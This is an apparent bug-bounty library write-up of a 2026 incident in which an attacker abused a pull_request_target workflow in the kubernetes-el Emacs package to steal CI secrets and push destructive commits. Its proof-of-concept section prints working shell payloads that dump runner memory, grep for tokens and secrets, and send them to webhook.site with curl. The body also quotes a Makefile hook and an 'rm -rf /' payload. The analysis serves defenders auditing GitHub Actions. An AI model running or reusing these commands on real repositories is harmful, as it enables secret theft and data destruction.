# kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package

Attacker PR abused pull_request_target plus fork checkout in kubernetes-el CI to steal GITHUB_TOKEN, exfiltrate secrets, and push destructive commits.

- Payout: Real-world hack
- Severity: critical
- Program: kubernetes-el
- Analysis by: StepSecurity
- Disclosed: 2026-03-11
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/kubernetes-el-compromised-how-a-pwn-request-exploited-a-popular-emacs-package
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-kubernetes-el-compromised-how-a-pwn-request-exploited-a-popular-emacs-package
- Tags: area:oss domain:oss impact:data-leak impact:integrity impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:github-actions technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub Actions CI workflow (.github/workflows/ci.yaml) of an Emacs package
**Root cause:** Workflow used pull_request_target (privileged token/secrets) while explicitly checking out the attacker's fork head SHA, then ran `make build`, executing attacker-controlled Makefile code with write permissions.
**Steps:**
1. Fork kubernetes-el and edit Makefile `build` target to `@bash -c "chmod +x ./funny.sh && ./funny.sh"` (tabs, not spaces)
2. Create funny.sh that pipes Cacheract memdump.py through sudo python3, greps `"[^"]+":\{"value":"[^"]*","isSecret":true\}` into /tmp/secrets, then `curl -X PUT --upload-file /tmp/secrets https://webhook.site/<id>`
3. Open PR #382 titled 'ci: add test' to trigger the pull_request_target workflow
4. Workflow checks out `ref: ${{ github.event.pull_request.head.sha }}` and runs `make build`, executing funny.sh with the repo's GITHUB_TOKEN
5. Use stolen token to push commits directly to master
**How found:** Attacker recognized the classic pwn-request pattern: pull_request_target grants privileged token/secrets, and the explicit head.sha checkout pulls untrusted fork code that the subsequent `make build` executes.
**Exploitation:** Attacker iterated 6 commits across 3 workflow runs (fixing Makefile tab indentation after first failure), dumped runner memory to extract GITHUB_TOKEN and all isSecret values, exfiltrated via webhook.site, then used the write-scoped token to push 4 commits as github-actions[bot]: defaced README, replaced kubernetes.el with `(shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root")`, and deleted repo files.
**Escalation:** Escalated from single-token grep to regex matching all `isSecret:true` JSON entries in memory, capturing every CI secret; then pivoted from read/exfil to repo write to inject a destructive payload into the distributed package.
**Insight:** When auditing Actions workflows, grep for `pull_request_target` combined with any `github.event.pull_request.head` ref in checkout — that pairing alone is RCE with the base repo's token; also note Makefile recipes require tabs, a common reason first exploit attempts silently fail.

## Proof of concept (copied exactly from the original report)

**funny.sh memory dump and token exfiltration payload**

```
TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \
  | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64`
curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
sleep 60m
```

**Final payload extracting all secrets to webhook.site**

```
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \
  | sudo python3 | tr -d '\0' \
  | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
sleep 9999
```

